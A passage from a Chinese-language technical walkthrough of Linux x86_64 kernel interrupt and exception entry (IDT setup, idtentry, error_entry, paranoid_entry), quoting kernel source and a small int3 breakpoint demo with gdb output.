unsigned long redundant_softirqs_on;
unsigned long redundant_softirqs_off;
int nr_unused_locks;
unsigned int nr_redundant_checks;
unsigned int nr_redundant;
unsigned int nr_cyclic_checks;
unsigned int nr_find_usage_forwards_checks;
unsigned int nr_find_usage_backwards_checks;
/*
* Per lock class locking operation stat counts
*/
unsigned long lock_class_ops[MAX_LOCKDEP_KEYS];
};
如果开启了 `CONFIG_DEBUG_LOCKDEP` 内核配置选项，`lockdep_stats_debug_show`函数会将所有的调试信息写入
`/proc/lockdep` 文件中。
接下来来分析 `raw_local_irq_disable`
，这个宏定义在`/source/include/linux/irqflags.h#L79`处实现，其展开后的样子是:
/*
* Wrap the arch provided IRQ routines to provide appropriate checks.
*/
#define raw_local_irq_disable() arch_local_irq_disable()
#define raw_local_irq_enable() arch_local_irq_enable()
// In /source/arch/x86/include/asm/irqflags.h#L87
static inline notrace void arch_local_irq_disable(void)
{
native_irq_disable();
}
static inline notrace void arch_local_irq_enable(void)
{
native_irq_enable();
}
// In /source/arch/x86/include/asm/irqflags.h#L47
static inline void native_irq_disable(void)
{
asm volatile("cli": : :"memory");
}
static inline void native_irq_enable(void)
{
asm volatile("sti": : :"memory");
}
`cli/sti`
指令将清除/设置[IF](http://en.wikipedia.org/wiki/Interrupt_flag)标志位，这个标志位控制着处理器是否响应中断或异常。
早期版本的内核中提供了一个叫做 `cli` 的函数来禁用所有处理器的中断，该函数已经被移除，替代它的是
`local_irq_{enabled,disable}` 宏，用于禁用或启用当前处理器的中断。我们在调用 `local_irq_disable`
宏禁用中断以后，接着设置了变量值:
early_boot_irqs_disabled = true;
变量 `early_boot_irqs_disabled` 定义在文件`/source/include/linux/kernel.h`中:
extern bool early_boot_irqs_disabled;
并在另外的地方使用。例如在`/source/kernel/smp.c`中的 `smp_call_function_many`
函数中，通过这个变量来检查当前是否由于中断禁用而处于死锁状态:
WARN_ON_ONCE(cpu_online(this_cpu) && irqs_disabled()
&& !oops_in_progress && !early_boot_irqs_disabled);
### 早期 `trap gate` 初始化
在`start_kernel()`的`line
23`调用了`setup_arch()`来完成很多[架构相关的初始化工作](http://0xax.gitbooks.io/linux-insides/content/Initialization/linux-initialization-4.html)。
在 `setup_arch` 函数中与中断相关的第一个函数是
`idt_setup_early_traps`函数，其对`IDT`进行了中断服务函数入口的填充。
#### `idt_setup_early_traps`函数分析
`idt_setup_early_traps`函数于`/source/arch/x86/kernel/idt.c#L253`处实现
/**
* idt_setup_early_traps - Initialize the idt table with early traps
*
* On X8664 these traps do not use interrupt stacks as they can't work
* before cpu_init() is invoked and sets up TSS. The IST variants are
* installed after that.
*/
void __init idt_setup_early_traps(void)
{
idt_setup_from_table(idt_table, early_idts, ARRAY_SIZE(early_idts), true);
load_idt(&idt_descr);
}
// In /source/arch/x86/kernel/idt.c#L58
/*
* Early traps running on the DEFAULT_STACK because the other interrupt
* stacks work only after cpu_init().
*/
static const __initconst struct idt_data early_idts[] = {
INTG(X86_TRAP_DB, debug),
SYSG(X86_TRAP_BP, int3),
#ifdef CONFIG_X86_32
INTG(X86_TRAP_PF, page_fault),
#endif
};
// In /source/arch/x86/kernel/idt.c#L218
static void idt_setup_from_table(gate_desc *idt, const struct idt_data *t, int size, bool sys)
{
gate_desc desc;
for (; size > 0; t++, size--) {
// 初始化 desc 的各个成员变量
idt_init_desc(&desc, t);
// 将 desc 填入 idt
write_idt_entry(idt, t->vector, &desc);
if (sys)
set_bit(t->vector, system_vectors);
}
}
// In /source/arch/x86/kernel/idt.c#L203
static inline void idt_init_desc(gate_desc *gate, const struct idt_data *d)
{
unsigned long addr = (unsigned long) d->addr;
gate->offset_low = (u16) addr;
gate->segment = (u16) d->segment;
gate->bits = d->bits;
gate->offset_middle = (u16) (addr >> 16);
#ifdef CONFIG_X86_64
gate->offset_high = (u32) (addr >> 32);
gate->reserved = 0;
#endif
}
在`idt_setup_from_table`中，首先调用了`idt_init_desc`初始化了一个表示 `IDT` 入口项的 `gate_desc`
类型的结构体。
然后把这个中断门通过 `write_idt_entry` 宏填入了 `IDT` 中。这个宏展开后是 `native_write_idt_entry`
，其将中断门信息通过索引拷贝到了 `idt_table` 之中
// In /source/arch/x86/include/asm/desc.h#L128
#define write_idt_entry(dt, entry, g) native_write_idt_entry(dt, entry, g)
// In /source/arch/x86/include/asm/desc.h#L141
static inline void native_write_idt_entry(gate_desc *idt, int entry, const gate_desc *gate)
{
memcpy(&idt[entry], gate, sizeof(*gate));
}
#### 关于 `gate_desc` 结构体
`gate_desc` 结构体是一个在 `x86` 中被称为门的 16 字节数组。它拥有下面的结构：
`gate_desc`在`/source/arch/x86/include/asm/desc_defs.h#L88`中定义
typedef struct gate_struct gate_desc;
`gate_struct`在`/source/arch/x86/include/asm/desc_defs.h#L77`中定义
struct gate_struct {
u16 offset_low;
u16 segment;
struct idt_bits bits;
u16 offset_middle;
#ifdef CONFIG_X86_64
u32 offset_high;
u32 reserved;
#endif
} __attribute__((packed));
struct idt_bits {
u16 ist : 3,
zero : 5,
type : 5,
dpl : 2,
p : 1;
} __attribute__((packed));
为了能从中断号得到对应的`IDT`，处理器把异常和中断向量分为 16 个级别。处理器处理异常和中断的发生就像它看到 `call`
指令时处理一个程序调用一样。处理器使用中断或异常的唯一的识别码(即中断号)作为索引来寻找对应的 `IDT` 的条目。
在`IDT`中的 `IDT` 条目由下面的域组成：
* `0-15` bits – 段选择器偏移，处理器用它作为中断处理程序的入口指针基址。
* `16-31` bits – 段选择器基址，包含中断处理程序入口指针。
* `IST` – 在 `x86_64` 上的一个新的机制。
* `Type` – 描述了 `IDT` 条目的类型。(即：中断门、任务门、陷阱门)
* `DPL` – 描述符特权等级。
* `P` – 段存在标志。
* `48-63` bits – 中断处理程序基址的第二部分。
* `64-95` bits – 中断处理程序基址的第三部分。
* `96-127` bits – CPU 保留位。
## 0x03 异常处理前处理
我们在之前讨论了`IDT`的初始化过程，现在我们来详细的看一看异常处理究竟是如何执行的。
首先我们注意到给`idt_setup_from_table`传入的参数有一项为`early_idts`数组，其中定义了`DEBUG`、`INT3`(、`page_fault`)两种异常(`32`位架构时，额外定义`page_fault`异常)。也就是说，在`cpu_init()`执行前，内核就已经能够处理这两种异常，那么我们就以这两种异常为例进行分析。
### 调试异常和断点异常
第一个异常 —— `debug`异常(助记符为`#DB`)，通常在在调试事件发生异常时报告。
例如：尝试更改[调试寄存器](http://en.wikipedia.org/wiki/X86_debug_register)的内容。(调试寄存器是`x86`从[英特尔80386](http://en.wikipedia.org/wiki/Intel_80386)处理器开始出现在处理器中的特殊寄存器，从此它的名称可以确定这些寄存器的主要用途是调试)这些寄存器允许在代码上设置断点，并读取或写入数据以对其进行跟踪。
**调试寄存器只能在特权模式下访问，以任何其他特权级别执行时尝试读取或写入调试寄存器都会导致[一般保护错误异常(General_protection_fault)](https://en.wikipedia.org/wiki/General_protection_fault)。**因此使用`set_intr_gate_ist`初始化`#DB`异常，而不是`set_system_intr_gate_ist`。
`#DB`异常的`Verctor`编号为`1`(也称为`X86_TRAP_DB`），并且正如我们在规范中看到的那样，该异常没有错误代码
Verctor 编号 | 异常助记符 | 异常描述 | 异常类型 | 错误代码
---|---|---|---|---
1 | #DB | Reserved | F/T | NO
第二个异常 —— `breakpoint`异常(助记符为`#BP`)，当处理器执行[int
3](http://en.wikipedia.org/wiki/INT_\(x86_instruction)#INT_3)指令时发生异常。与`DB`异常不同，该`#BP`异常可能发生在用户空间中。我们可以将其添加到代码中的任何位置，例如，让我们看一下简单的程序：
// breakpoint.c
#include <stdio.h>
int main() {
int i;
while (i < 6){
printf("i equal to: %dn", i);
__asm__("int3");
++i;
}
}
如果我们编译并运行该程序，我们将看到以下输出：
$ gcc breakpoint.c -o breakpoint
i equal to: 0
Trace/breakpoint trap
但是，如果将其与gdb一起运行，我们将看到断点并可以继续执行程序：
$ gdb breakpoint
...
...
...
(gdb) run
Starting program: /home/alex/breakpoints
i equal to: 0
Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000400585 in main ()
=> 0x0000000000400585 <main+31>: 83 45 fc 01 add DWORD PTR [rbp-0x4],0x1
(gdb) c
Continuing.
i equal to: 1
Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000400585 in main ()
=> 0x0000000000400585 <main+31>: 83 45 fc 01 add DWORD PTR [rbp-0x4],0x1
(gdb) c
Continuing.
i equal to: 2
Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000400585 in main ()
=> 0x0000000000400585 <main+31>: 83 45 fc 01 add DWORD PTR [rbp-0x4],0x1
...
...
...
### 异常处理程序调用前准备
`#DB`和`#BP`的异常处理程序位于`/source/arch/x86/include/asm/traps.h#L13`
asmlinkage void divide_error(void);
asmlinkage void debug(void);
asmlinkage void nmi(void);
asmlinkage void int3(void);
asmlinkage void overflow(void);
asmlinkage void bounds(void);
asmlinkage void invalid_op(void);
asmlinkage void device_not_available(void);
`asmlinkage`是[gcc](http://en.wikipedia.org/wiki/GNU_Compiler_Collection)的[特殊说明符](http://en.wikipedia.org/wiki/GNU_Compiler_Collection)。实际上，对于`C`从汇编码中调用的函数，我们需要显式声明函数调用约定。如果函数使用`asmlinkage`描述符创建，`gcc`将从堆栈中检索参数以编译该函数。
因此，两个处理程序都在带有`idtentry`宏的`/arch/x86/entry/entry_64.S`中定义：
idtentry debug do_debug has_error_code=0 paranoid=1 shift_ist=IST_INDEX_DB ist_offset=DB_STACK_OFFSET
idtentry int3 do_int3 has_error_code=0 create_gap=1
每个异常处理程序可以由两部分组成：
* 第一部分是通用部分，所有异常处理程序都相同。异常处理程序应将[通用寄存器](https://en.wikipedia.org/wiki/Processor_register)保存在堆栈上，如果异常来自用户空间，则应切换到内核堆栈，并将控制权转移到异常处理程序的第二部分。
* 异常处理程序的第二部分完成的工作取决于具体的异常。例如，页面错误异常处理程序应找到给定地址的虚拟页面，无效的操作码异常处理程序应发送`SIGILL` [信号](https://en.wikipedia.org/wiki/Unix_signal)等。
现在来分析`idtentry`宏的实现。如我们所见，该宏采用七个参数：
* `sym` – 定义全局符号，该符号`.globl name`将作为异常处理程序的入口。
* `do_sym` – 符号名称，这表示异常处理程序的辅助条目。
* `has_error_code` – 异常是否存在错误代码。
最后四个参数是可选的：
* `paranoid` – 非零表示可以使用用户`GSBASE`和/或用户`CR3`从内核模式调用此中断向量。
* `shift_ist` – 如果内核模式下的中断条目使用`IST`堆栈，以便使得嵌套的中断条目获得新的中断栈，则置位。 (这是针对#DB的，它具有递归的逻辑。(这很糟糕！))
* `create_gap` – 从内核模式进入此中断处理程序时，创建一个6字大小的堆栈间隙。
* `read_cr2` – 在调用任何C代码之前，将CR2加载到第3个参数中
`.idtentry`宏的定义：(实现在`/source/arch/x86/entry/entry_64.S#L970`)
/**
* idtentry - Generate an IDT entry stub
* @sym: Name of the generated entry point
* @do_sym: C function to be called
* @has_error_code: True if this IDT vector has an error code on the stack
* @paranoid: non-zero means that this vector may be invoked from
* kernel mode with user GSBASE and/or user CR3.
* 2 is special -- see below.
* @shift_ist: Set to an IST index if entries from kernel mode should
* decrement the IST stack so that nested entries get a
* fresh stack. (This is for #DB, which has a nasty habit
* of recursing.)
* @create_gap: create a 6-word stack gap when coming from kernel mode.
* @read_cr2: load CR2 into the 3rd argument; done before calling any C code
*
* idtentry generates an IDT stub that sets up a usable kernel context,
* creates struct pt_regs, and calls @do_sym. The stub has the following
* special behaviors:
*
* On an entry from user mode, the stub switches from the trampoline or
* IST stack to the normal thread stack. On an exit to user mode, the
* normal exit-to-usermode path is invoked.
*
* On an exit to kernel mode, if @paranoid == 0, we check for preemption,
* whereas we omit the preemption check if @paranoid != 0. This is purely
* because the implementation is simpler this way. The kernel only needs
* to check for asynchronous kernel preemption when IRQ handlers return.
*
* If @paranoid == 0, then the stub will handle IRET faults by pretending
* that the fault came from user mode. It will handle gs_change faults by
* pretending that the fault happened with kernel GSBASE. Since this handling
* is omitted for @paranoid != 0, the #GP, #SS, and #NP stubs must have
* @paranoid == 0. This special handling will do the wrong thing for
* espfix-induced #DF on IRET, so #DF must not use @paranoid == 0.
*
* @paranoid == 2 is special: the stub will never switch stacks. This is for
* #DF: if the thread stack is somehow unusable, we'll still get a useful OOPS.
*/
.macro idtentry sym do_sym has_error_code:req paranoid=0 shift_ist=-1 ist_offset=0 create_gap=0 read_cr2=0
SYM_CODE_START(sym)
UNWIND_HINT_IRET_REGS offset=has_error_code*8
/* Sanity check */
.if shift_ist != -1 && paranoid != 1
.error "using shift_ist requires paranoid=1"
.endif
.if create_gap && paranoid
.error "using create_gap requires paranoid=0"
.endif
ASM_CLAC
.if has_error_code == 0
pushq $-1 /* ORIG_RAX: no syscall to restart */
.endif
.if paranoid == 1
testb $3, CS-ORIG_RAX(%rsp) /* If coming from userspace, switch stacks */
jnz .Lfrom_usermode_switch_stack_@
.endif
.if create_gap == 1
/*
* If coming from kernel space, create a 6-word gap to allow the
* int3 handler to emulate a call instruction.
*/
testb $3, CS-ORIG_RAX(%rsp)
jnz .Lfrom_usermode_no_gap_@
.rept 6
pushq 5*8(%rsp)
.endr
UNWIND_HINT_IRET_REGS offset=8
.Lfrom_usermode_no_gap_@:
.endif
idtentry_part do_sym, has_error_code, read_cr2, paranoid, shift_ist, ist_offset
.if paranoid == 1
/*
* Entry from userspace. Switch stacks and treat it
* as a normal entry. This means that paranoid handlers
* run in real process context if user_mode(regs).
*/
.Lfrom_usermode_switch_stack_@:
idtentry_part do_sym, has_error_code, read_cr2, paranoid=0
.endif
_ASM_NOKPROBE(sym)
SYM_CODE_END(sym)
.endm
在分析`idtentry`宏的内部实现之前，首先明确，这是发生异常时的堆栈状态：
+------------+
+40 | %SS |
+32 | %RSP |
+24 | %RFLAGS |
+16 | %CS |
+8 | %RIP |
0 | ERROR CODE | <-- %RSP
+------------+
然后结合`#DB`和`#BP`的异常处理程序定义来看`idtentry`宏的内部实现：
idtentry debug do_debug has_error_code=0 paranoid=1 shift_ist=IST_INDEX_DB ist_offset=DB_STACK_OFFSET
idtentry int3 do_int3 has_error_code=0 create_gap=1
* 编译器将生成带有`debug`和`int3`名称的两个例程，并且经过一些准备后，这两个异常处理程序将分别调用`do_debug`和`do_int3`辅助处理程序。第三个参数定义了错误代码是否存在，此处的两个异常都没有错误代码。如上面的堆栈结构所示，如果有异常，处理器会将错误代码压入堆栈。那么我们可以很直观的看出，对于提供错误代码的异常和未提供错误代码的异常，堆栈的外观会有所不同。这就是为什么`idtentry`宏的实现中，在异常未提供错误代码的情况下将会把”伪造”的错误代码放入堆栈：
.if has_error_code == 0
pushq $-1 /* ORIG_RAX: no syscall to restart */
.endif
但这不仅仅是一个”伪造”的错误代码，`-1`还会代表无效的系统调用号，因此这不会触发系统调用的重新启动逻辑。
* 接下来的第一个可选参数 – `shift_ist`参数将表征异常处理程序是否使用了`IST`栈。系统中的每个内核线程都有自己的堆栈。除了这些堆栈外，还有一些专用堆栈与系统中的每个处理器相关联，异常栈就是这类专用堆栈之一。[x86_64](https://en.wikipedia.org/wiki/X86-64)架构提供了一个新机制，它被称为`Interrupt Stack Table`(`IST`机制)。此机制允许在发生指定事件时(例如`double fault`之类的原子异常等)切换到新堆栈。`shift_ist`参数就用来标识是否需要使用`IST`机制为异常处理程序创建一个新的堆栈。
* 第二个可选参数 – `paranoid`定义了一种方法，可以帮助我们知道服务程序的调用是来自用户空间还是来自异常处理程序。确定这一点的最简单方法是通过在`CS`段寄存器中的`CPL`(`Current Privilege Level`)。如果等于`3`，则来自用户空间，如果为零，则来自内核空间。
.if paranoid == 1
testb $3, CS-ORIG_RAX(%rsp) /* If coming from userspace, switch stacks */
jnz .Lfrom_usermode_switch_stack_@
.endif
但是不幸的是，这种方法不能提供100％的保证。如内核文档中所述：
> 如果我们处于 NMI/MCE/DEBUG 以及其他任何 super-atomic
> 入口上下文中，那么在正常入口将CS写入堆栈之后，执行SWAPGS之前可能已经触发异常，那么检查GS的唯一安全方法是一种速度较慢的方法：RDMSR。
换言之，例如`NMI`(不可屏蔽中断)发生在[swapgs](http://www.felixcloutier.com/x86/SWAPGS.html)指令的内部。这样的话，我们应该检查`MSR_GS_BASE`的值，该寄存器存储指向每个cpu区域开始的指针。因此，要检查我们是否来自用户空间，我们应该检查`MSR_GS_BASE`，如果它是负数，则我们来自内核空间，否则我们来自用户空间：
movl $MSR_GS_BASE,%ecx
rdmsr
testl %edx,%edx
js 1f
在前两行代码中，我们将`MSR_GS_BASE`的值按`edx:eax`成对读取，我们不能为用户空间中的`gs`寄存器设置负值。但是从另一方面说，我们知道物理内存的直接映射是从`0xffff880000000000`虚拟地址开始的。这样，`MSR_GS_BASE`将包含从`0xffff880000000000`到的地址`0xffffc7ffffffffff`。而后`rdmsr`指令将被执行，`%edx`寄存器中可能的最小值将会是`0xffff8800`也就是`-30720`(`unsigned
4 bytes`)。这就是`gs`指向`per-cpu`区域开始的内核空间包含负值的原因。
* 在为通用寄存器分配空间之后，我们进行一些检查以了解异常是否来自用户空间，如果是，则应移回中断的进程堆栈或保留在异常堆栈上：
.if paranoid
.if paranoid == 1
testb $3, CS(%rsp)
jnz 1f
.endif
call paranoid_entry
.else
call error_entry
.endif
让我们考虑一下所有这些情况。
### 当用户空间中发生异常时
可以看到，当用户空间中发生异常时，内核会执行如下处理逻辑：
.if paranoid == 1
testb $3, CS-ORIG_RAX(%rsp) /* If coming from userspace, switch stacks */
jnz .Lfrom_usermode_switch_stack_@
.endif
.if paranoid == 1
/*
* Entry from userspace. Switch stacks and treat it
* as a normal entry. This means that paranoid handlers
* run in real process context if user_mode(regs).
*/
.Lfrom_usermode_switch_stack_@:
idtentry_part do_sym, has_error_code, read_cr2, paranoid=0
.endif
也就是核心是执行`idtentry_part do_sym, has_error_code, read_cr2, paranoid=0`
那么关于`idtentry_part`在`/source/arch/x86/entry/entry_64.S#L868`处实现
/*
* Exception entry points.
*/
#define CPU_TSS_IST(x) PER_CPU_VAR(cpu_tss_rw) + (TSS_ist + (x) * 8)
.macro idtentry_part do_sym, has_error_code:req, read_cr2:req, paranoid:req, shift_ist=-1, ist_offset=0
.if paranoid
call paranoid_entry
/* returned flag: ebx=0: need swapgs on exit, ebx=1: don't need it */
.else
call error_entry
.endif
UNWIND_HINT_REGS
.if read_cr2
/*
* Store CR2 early so subsequent faults cannot clobber it. Use R12 as
* intermediate storage as RDX can be clobbered in enter_from_user_mode().
* GET_CR2_INTO can clobber RAX.
*/
GET_CR2_INTO(%r12);
.endif
.if shift_ist != -1
TRACE_IRQS_OFF_DEBUG /* reload IDT in case of recursion */
.else
TRACE_IRQS_OFF
.endif
.if paranoid == 0
testb $3, CS(%rsp)
jz .Lfrom_kernel_no_context_tracking_@
CALL_enter_from_user_mode
.Lfrom_kernel_no_context_tracking_@:
.endif
movq %rsp, %rdi /* pt_regs pointer */
.if has_error_code
movq ORIG_RAX(%rsp), %rsi /* get error code */
movq $-1, ORIG_RAX(%rsp) /* no syscall to restart */
.else
xorl %esi, %esi /* no error code */
.endif
.if shift_ist != -1
subq $ist_offset, CPU_TSS_IST(shift_ist)
.endif
.if read_cr2
movq %r12, %rdx /* Move CR2 into 3rd argument */
.endif
call do_sym
.if shift_ist != -1
addq $ist_offset, CPU_TSS_IST(shift_ist)
.endif
.if paranoid
/* this procedure expect "no swapgs" flag in ebx */
jmp paranoid_exit
.else
jmp error_exit
.endif
.endm
#### error_entry处理分析
假设我们此时进入了`error_entry`的处理逻辑，它在`/source/arch/x86/entry/entry_64.S#L1287`处实现：
/*
* Save all registers in pt_regs, and switch GS if needed.
*/
SYM_CODE_START_LOCAL(error_entry)
UNWIND_HINT_FUNC
cld
PUSH_AND_CLEAR_REGS save_ret=1
ENCODE_FRAME_POINTER 8
testb $3, CS+8(%rsp)
jz .Lerror_kernelspace
/*
* We entered from user mode or we're pretending to have entered
* from user mode due to an IRET fault.
*/
SWAPGS
FENCE_SWAPGS_USER_ENTRY
/* We have user CR3. Change to kernel CR3. */
SWITCH_TO_KERNEL_CR3 scratch_reg=%rax
.Lerror_entry_from_usermode_after_swapgs:
/* Put us onto the real thread stack. */
popq %r12 /* save return addr in %12 */
movq %rsp, %rdi /* arg0 = pt_regs pointer */
call sync_regs
movq %rax, %rsp /* switch stack */
ENCODE_FRAME_POINTER
pushq %r12
ret
.Lerror_entry_done_lfence:
FENCE_SWAPGS_KERNEL_ENTRY
.Lerror_entry_done:
ret
/*
* There are two places in the kernel that can potentially fault with
* usergs. Handle them here. B stepping K8s sometimes report a
* truncated RIP for IRET exceptions returning to compat mode. Check
* for these here too.
*/
.Lerror_kernelspace:
leaq native_irq_return_iret(%rip), %rcx
cmpq %rcx, RIP+8(%rsp)
je .Lerror_bad_iret
movl %ecx, %eax /* zero extend */
cmpq %rax, RIP+8(%rsp)
je .Lbstep_iret
cmpq $.Lgs_change, RIP+8(%rsp)
jne .Lerror_entry_done_lfence
/*
* hack: .Lgs_change can fail with user gsbase. If this happens, fix up
* gsbase and proceed. We'll fix up the exception and land in
* .Lgs_change's error handler with kernel gsbase.
*/
SWAPGS
FENCE_SWAPGS_USER_ENTRY
SWITCH_TO_KERNEL_CR3 scratch_reg=%rax
jmp .Lerror_entry_done
.Lbstep_iret:
/* Fix truncated RIP */
movq %rcx, RIP+8(%rsp)
/* fall through */
.Lerror_bad_iret:
/*
* We came from an IRET to user mode, so we have user
* gsbase and CR3. Switch to kernel gsbase and CR3:
*/
SWAPGS
FENCE_SWAPGS_USER_ENTRY
SWITCH_TO_KERNEL_CR3 scratch_reg=%rax
/*
* Pretend that the exception came from user mode: set up pt_regs
* as if we faulted immediately after IRET.
*/
mov %rsp, %rdi
call fixup_bad_iret
mov %rax, %rsp
jmp .Lerror_entry_from_usermode_after_swapgs
SYM_CODE_END(error_entry)
##### 保存现场(储存所有通用寄存器)
首先内核会把返回地址保存在`R12`寄存器中，随即会调用PUSH_AND_CLEAR_REGS将通用寄存器的值存储在中断栈上：
首先内核会调用`PUSH_AND_CLEAR_REGS`将通用寄存器的值存储在中断栈上：
.macro PUSH_AND_CLEAR_REGS rdx=%rdx rax=%rax save_ret=0
/*
* Push registers and sanitize registers of values that a
* speculation attack might otherwise want to exploit. The
* lower registers are likely clobbered well before they
* could be put to use in a speculative execution gadget.
* Interleave XOR with PUSH for better uop scheduling:
*/
.if save_ret
pushq %rsi /* pt_regs->si */
movq 8(%rsp), %rsi /* temporarily store the return address in %rsi */
movq %rdi, 8(%rsp) /* pt_regs->di (overwriting original return address) */
.else
pushq %rdi /* pt_regs->di */
pushq %rsi /* pt_regs->si */
.endif
pushq rdx /* pt_regs->dx */
xorl %edx, %edx /* nospec dx */
pushq %rcx /* pt_regs->cx */
xorl %ecx, %ecx /* nospec cx */
pushq rax /* pt_regs->ax */
pushq %r8 /* pt_regs->r8 */
xorl %r8d, %r8d /* nospec r8 */
pushq %r9 /* pt_regs->r9 */
xorl %r9d, %r9d /* nospec r9 */
pushq %r10 /* pt_regs->r10 */
xorl %r10d, %r10d /* nospec r10 */
pushq %r11 /* pt_regs->r11 */
xorl %r11d, %r11d /* nospec r11*/
pushq %rbx /* pt_regs->rbx */
xorl %ebx, %ebx /* nospec rbx*/
pushq %rbp /* pt_regs->rbp */
xorl %ebp, %ebp /* nospec rbp*/
pushq %r12 /* pt_regs->r12 */
xorl %r12d, %r12d /* nospec r12*/
pushq %r13 /* pt_regs->r13 */
xorl %r13d, %r13d /* nospec r13*/
pushq %r14 /* pt_regs->r14 */
xorl %r14d, %r14d /* nospec r14*/
pushq %r15 /* pt_regs->r15 */
xorl %r15d, %r15d /* nospec r15*/
UNWIND_HINT_REGS
.if save_ret
pushq %rsi /* return address on top of stack */
.endif
.endm
执行后，堆栈将如下所示：
+------------+
+160 | %SS |
+152 | %RSP |
+144 | %RFLAGS |
+136 | %CS |
+128 | %RIP |
+120 | ERROR CODE |
|------------|
+112 | %RDI |
+104 | %RSI |
+96 | %RDX |
+88 | %RCX |
+80 | %RAX |
+72 | %R8 |
+64 | %R9 |
+56 | %R10 |
+48 | %R11 |
+40 | %RBX |
+32 | %RBP |
+24 | %R12 |
+16 | %R13 |
+8 | %R14 |
+0 | %R15 | <- %RSP
+------------+
##### 再次检查`CPL`
内核将通用寄存器保存在堆栈中之后，因为正如官方文档中描述的那样，一旦发生`%RIP`中断，则有可能发生错误，我们应该使用以下命令再次检查是否来自用户空间空间：
testb $3, CS+8(%rsp)
jz .Lerror_kernelspace
##### <a name=”初始化`GS`寄存器” class=”reference-link”>初始化`GS`寄存器
接下来将执行[SWAPGS](http://www.felixcloutier.com/x86/SWAPGS.html)指令，这将会交换`MSR_KERNEL_GS_BASE`和`MSR_GS_BASE`中的值。从这一刻起，`%gs`寄存器将指向内核结构的基址。
##### 获取运行栈的栈指针(`sync_regs`函数分析)
接下来将会进入`.Lerror_entry_from_usermode_after_swapgs:`中：
movq %rsp, %rdi
call sync_regs
在这里，我们将堆栈的基址指针置入`%rdi`寄存器这将作为`sync_regs`函数的参数。
接下来我们来分析`sync_regs`函数：(在`/source/arch/x86/kernel/traps.c#L613`中实现)
/*
* Help handler running on a per-cpu (IST or entry trampoline) stack
* to switch to the normal thread stack if the interrupted code was in
* user mode. The actual stack switch is done in entry_64.S
*/
asmlinkage __visible notrace struct pt_regs *sync_regs(struct pt_regs *eregs)
{
struct pt_regs *regs = (struct pt_regs *)this_cpu_read(cpu_current_top_of_stack) - 1;
if (regs != eregs)
*regs = *eregs;
return regs;
}
NOKPROBE_SYMBOL(sync_regs);
// In /source/include/linux/percpu-defs.h#L507
#define this_cpu_read(pcp) __pcpu_size_call_return(this_cpu_read_, pcp)
这将会获取运行栈的栈指针将其存储在中断栈中并返回，这意味着异常处理程序将在实际流程上下文中运行。
##### 栈切换
接下来我们进行栈切换操作
正如我们来自用户空间一样，这意味着异常处理程序将在实际流程上下文中运行。从堆栈指针中获取堆栈指针后，`sync_regs`我们切换堆栈：
movq %rax, %rsp
然后内核从`R12`中取出返回地址，返回上级函数
#### 可选参数逻辑分析
在用户空间发生异常的处理逻辑下，接下来只需要处理以下三个选项`has_error_code, read_cr2, paranoid=0`
.if read_cr2
/*
* Store CR2 early so subsequent faults cannot clobber it. Use R12 as
* intermediate storage as RDX can be clobbered in enter_from_user_mode().
* GET_CR2_INTO can clobber RAX.
*/
GET_CR2_INTO(%r12);
.endif
.if shift_ist != -1
......(代码省略)
.endif
.if paranoid == 0
testb $3, CS(%rsp)
jz .Lfrom_kernel_no_context_tracking_@
CALL_enter_from_user_mode
.Lfrom_kernel_no_context_tracking_@:
.endif
movq %rsp, %rdi /* pt_regs pointer */
.if has_error_code
movq ORIG_RAX(%rsp), %rsi /* get error code */
movq $-1, ORIG_RAX(%rsp) /* no syscall to restart */
.else
xorl %esi, %esi /* no error code */
.endif
.if shift_ist != -1
......(代码省略)
.endif
.if read_cr2
movq %r12, %rdx /* Move CR2 into 3rd argument */
.endif
call do_sym
.if shift_ist != -1
addq $ist_offset, CPU_TSS_IST(shift_ist)
.endif
.if paranoid
/* this procedure expect "no swapgs" flag in ebx */
jmp paranoid_exit
.else
jmp error_exit
.endif
##### <a name=”若`read_cr2`被设置” class=”reference-link”>若`read_cr2`被设置
`read_cr2`相关的逻辑有两处，第一处是
.if read_cr2
/*
* Store CR2 early so subsequent faults cannot clobber it. Use R12 as
* intermediate storage as RDX can be clobbered in enter_from_user_mode().
* GET_CR2_INTO can clobber RAX.
*/
GET_CR2_INTO(%r12);
.endif
# In /source/arch/x86/entry/calling.h#L365
#define GET_CR2_INTO(reg) GET_CR2_INTO_AX ; _ASM_MOV %_ASM_AX, reg
作用是存储`CR2`寄存器的值到`R12`寄存器。
第二处逻辑是
.if read_cr2
movq %r12, %rdx /* Move CR2 into 3rd argument */
.endif
作用是存储`R12`寄存器的值到`RDX`寄存器，也就是把`CR2`寄存器的值存储到`RDX`寄存器作为接下来调用函数的第三个参数。
##### 若`has_error_code`被设置
.if has_error_code
movq ORIG_RAX(%rsp), %rsi
movq $-1, ORIG_RAX(%rsp)
.else
xorl %esi, %esi
.endif
作用是将错误代码传递给`RSI`寄存器，这将作为将是异常处理程序的第二个参数，在那之后将其设置`-1`以防止再次启动系统调用，另外，如果异常不提供错误代码，将会清空`ESI`寄存器。
#### 收尾逻辑分析
最后一定会执行的逻辑是：
.if paranoid == 0
testb $3, CS(%rsp)
jz .Lfrom_kernel_no_context_tracking_@
CALL_enter_from_user_mode
.Lfrom_kernel_no_context_tracking_@:
.endif
movq %rsp, %rdi /* pt_regs pointer */
首先再次检查`CPL`以确保异常来自用户控件，然后将`pt_regs`(存储了保存的”现场”)赋值给`RDI`，这将作为中断服务程序的第一个参数，最后调用辅助异常处理程序
call do_sym
若是`debug`异常，则调用：
dotraplinkage void do_debug(struct pt_regs *regs, long error_code);
若是`int3`异常，则调用：
dotraplinkage void notrace do_int3(struct pt_regs *regs, long error_code);
### 当内核空间中发生异常时
当内核空间中发生异常且`paranoid > 0`时，内核将进入`paranoid_entry`进行处理
#### `paranoid_entry`处理分析
`paranoid_entry`的处理逻辑在`/source/arch/x86/entry/entry_64.S#L1218`处实现：
/*
* Save all registers in pt_regs, and switch gs if needed.
* Use slow, but surefire "are we in kernel?" check.
* Return: ebx=0: need swapgs on exit, ebx=1: otherwise
*/
SYM_CODE_START_LOCAL(paranoid_entry)
UNWIND_HINT_FUNC
cld
PUSH_AND_CLEAR_REGS save_ret=1
ENCODE_FRAME_POINTER 8
movl $1, %ebx
movl $MSR_GS_BASE, %ecx
rdmsr
testl %edx, %edx
js 1f /* negative -> in kernel */
SWAPGS
xorl %ebx, %ebx
1:
/*
* Always stash CR3 in %r14. This value will be restored,
* verbatim, at exit. Needed if paranoid_entry interrupted
* another entry that already switched to the user CR3 value
* but has not yet returned to userspace.
*
